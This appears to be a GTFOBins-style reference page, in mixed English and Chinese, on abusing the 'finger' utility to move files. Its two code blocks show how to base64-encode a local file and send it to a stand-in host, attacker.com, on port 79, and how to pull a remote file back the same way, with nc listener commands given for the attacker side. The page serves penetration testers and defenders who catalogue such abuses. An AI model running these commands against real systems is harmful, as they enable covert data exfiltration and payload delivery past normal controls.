.. / finger

finger hangs waiting for the remote peer to close the socket.

file-upload

上传文件到外部。

Send a binary file to a TCP port. Run sudo nc -l -p 79 | base64 -d > "file_to_save" on the attacker box to collect the file. The file length is limited by the maximum size of arguments.
```
RHOST=attacker.com
LFILE=要发送的文件
finger "$(base64 $LFILE)@$RHOST"
```

file-download

下载远程文件。

Fetch remote binary file from a remote TCP port. Run base64 "要发送的文件" | sudo nc -l -p 79 on the attacker box to send the file.
```
RHOST=attacker.com
LFILE=file_to_save
finger x@$RHOST | base64 -d > "$LFILE"
```